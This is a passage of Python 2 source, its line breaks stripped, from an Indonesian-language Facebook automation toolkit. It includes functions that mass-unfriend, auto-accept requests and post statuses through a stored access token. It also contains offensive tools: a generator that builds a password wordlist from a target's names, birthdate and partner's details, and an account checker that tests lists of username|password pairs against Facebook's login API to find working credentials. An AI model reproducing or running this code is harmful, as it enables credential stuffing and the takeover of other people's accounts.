menu_bot() print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def accept(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') r = requests.get('https://graph.facebook.com/me/friendrequests?limit=' + limit + '&access_token=' + toket) teman = json.loads(r.text) if '[]' in str(teman['data']): print '\x1b[1;91m[!] Tidak ada permintaan pertemanan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in teman['data']: gas = requests.post('https://graph.facebook.com/me/friends/' + i['from']['id'] + '?access_token=' + toket) a = json.loads(gas.text) if 'error' in str(a): print '\x1b[1;91m[+] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;91m Gagal' print 40 * '\x1b[1;97m\xe2\x95\x90' else: print '\x1b[1;91m[+] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;92m Berhasil' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def unfriend(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;97mStop \x1b[1;91mCTRL+C' print try: pek = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) cok = json.loads(pek.text) for i in cok['data']: nama = i['name'] id = i['id'] requests.delete('https://graph.facebook.com/me/friends?uid=' + id + '&access_token=' + toket) print '\x1b[1;97m[\x1b[1;92mTerhapus\x1b[1;97m] ' + nama + ' => ' + id except IndexError: pass except KeyboardInterrupt: print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def lain(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Buat postingan' print '\x1b[1;37;40m2. Buat Wordlist' print '\x1b[1;37;40m3. Akun Checker' print '\x1b[1;37;40m4. Lihat daftar grup' print '\x1b[1;37;40m5. Profile Guard' print print '\x1b[1;97m ->Coming soon<-' print print '\x1b[1;31;40m0. Kembali' print pilih_lain() def pilih_lain(): other = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if other == '': print '\x1b[1;91m[!] Jangan kosong' pilih_lain() else: if other == '1': status() else: if other == '2': wordlist() else: if other == '3': check_akun() else: if other == '4': grupsaya() else: if other == '5': guard() else: if other == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + other + ' \x1b[1;91mTidak ada' pilih_lain() def status(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' msg = raw_input('\x1b[1;91m[+] \x1b[1;92mKetik status \x1b[1;91m:\x1b[1;97m ') if msg == '': print '\x1b[1;91m[!] Jangan kosong' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: res = requests.get('https://graph.facebook.com/me/feed?method=POST&message=' + msg + '&access_token=' + toket) op = json.loads(res.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[+] \x1b[1;92mStatus ID\x1b[1;91m : \x1b[1;97m' + op['id'] raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def wordlist(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;92mIsi data lengkap target dibawah' print 40 * '\x1b[1;97m\xe2\x95\x90' a = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Depan \x1b[1;97m: ') file = open(a + '.txt', 'w') b = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Tengah \x1b[1;97m: ') c = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Belakang \x1b[1;97m: ') d = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan \x1b[1;97m: ') e = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') f = e[0:2] g = e[2:4] h = e[4:] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;93mKalo Jomblo SKIP aja :v' i = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Pacar \x1b[1;97m: ') j = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan Pacar \x1b[1;97m: ') k = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir Pacar >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') l = k[0:2] m = k[2:4] n = k[4:] file.write('%s%s\n%s%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s' % (a, c, a, b, b, a, b, c, c, a, c, b, a, a, b, b, c, c, a, d, b, d, c, d, d, d, d, a, d, b, d, c, a, e, a, f, a, g, a, h, b, e, b, f, b, g, b, h, c, e, c, f, c, g, c, h, d, e, d, f, d, g, d, h, e, a, f, a, g, a, h, a, e, b, f, b, g, b, h, b, e, c, f, c, g, c, h, c, e, d, f, d, g, d, h, d, d, d, a, f, g, a, g, h, f, g, f, h, f, f, g, f, g, h, g, g, h, f, h, g, h, h, h, g, f, a, g, h, b, f, g, b, g, h, c, f, g, c, g, h, d, f, g, d, g, h, a, i, a, j, a, k, i, e, i, j, i, k, b, i, b, j, b, k, c, i, c, j, c, k, e, k, j, a, j, b, j, c, j, d, j, j, k, a, k, b, k, c, k, d, k, k, i, l, i, m, i, n, j, l, j, m, j, n, j, k)) wg = 0 while wg < 100: wg = wg + 1 file.write(a + str(wg) + '\n') en = 0 while en < 100: en = en + 1 file.write(i + str(en) + '\n') word = 0 while word < 100: word = word + 1 file.write(d + str(word) + '\n') gen = 0 while gen < 100: gen = gen + 1 file.write(j + str(gen) + '\n') file.close() time.sleep(1.5) print '\n\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97m %s.txt' % a raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except IOError as e: print '\x1b[1;91m[!] Gagal membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def check_akun(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;92mIsi File\x1b[1;91m : \x1b[1;97musername|password' print 40 * '\x1b[1;97m\xe2\x95\x90' live = [] cek = [] die = [] try: file = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m:\x1b[1;97m ') list = open(file, 'r').readlines() except IOError: print '\x1b[1;91m[!] File tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() pemisah = raw_input('\x1b[1;91m[+] \x1b[1;92mPemisah \x1b[1;91m:\x1b[1;97m ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for meki in list: username, password = meki.strip().split(str(pemisah)) url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + password + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' data = requests.get(url) mpsh = json.loads(data.text) if 'access_token' in mpsh: live.append(password) print '\x1b[1;97m[\x1b[1;92mLive\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password elif 'www.facebook.com' in mpsh['error_msg']: cek.append(password) print '\x1b[1;97m[\x1b[1;93mCheck\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password else: die.append(password) print '\x1b[1;97m[\x1b[1;91mMati\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password print '\n\x1b[1;91m[+] \x1b[1;97mTotal\x1b[1;91m : \x1b[1;97mLive=\x1b[1;92m' + str(len(live)) + ' \x1b[1;97mCheck=\x1b[1;93m' + str(len(cek)) + ' \x1b[1;97mDie=\x1b[1;91m' + str(len(die)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def grupsaya(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' try: uh = requests.get('https://graph.facebook.com/me/groups?access_token=' + toket) gud = json.loads(uh.text) for p in gud['data']: nama = p['name'] id = p['id'] f = open('grupid.txt', 'w') listgrup.append(id) f.write(id + '\n') print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + str(nama) print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + str(id) print 40 * '\x1b[1;97m=' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Grup \x1b[1;96m%s' % len(listgrup) print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97mgrupid.txt' f.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except KeyError: os.remove('grupid.txt') print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def guard(): global toket os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Aktifkan' print '\x1b[1;37;40m2. NonAktifkan' print '\x1b[1;31;40m0. Kembali' print g = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if g == '1': aktif = 'true' gaz(toket, aktif) else: if g == '2': non = 'false' gaz(toket, non) else: if g == '0': lain() else: if g == '': keluar() else: keluar() def get_userid(toket): url = 'https://graph.facebook.com/me?access_token=%s' % toket res = requests.get(url) uid = json.loads(res.text) return uid['id'] def gaz(toket, enable=True): id = get_userid(toket) data = 'variables={"0":{"is_shielded": %s,"session_id":"9b78191c-84fd-4ab6-b0aa-19b39f04a6bc","actor_id":"%s","client_mutation_id":"b0316dd6-3fd6-4beb-aed4-bb29c5dc64b0"}}&method=post&doc_id=1477043292367183&query_name=IsShieldedSetMutation&strip_defaults=true&strip_nulls=true&locale=en_US&client_country_code=US&fb_api_req_friendly_name=IsShieldedSetMutation&fb_api_caller_class=IsShieldedSetMutation' % (enable, str(id)) headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'OAuth %s' % toket} url = 'https://graph.facebook.com/graphql' res = requests.post(url, data=data, headers=headers) print res.text if '"is_shielded":true' in res.text: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mDiaktifkan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: if '"is_shielded":false' in res.text: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;91mDinonaktifkan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: print '\x1b[1;91m[!] Error' keluar() if __name__ == '__main__': login()
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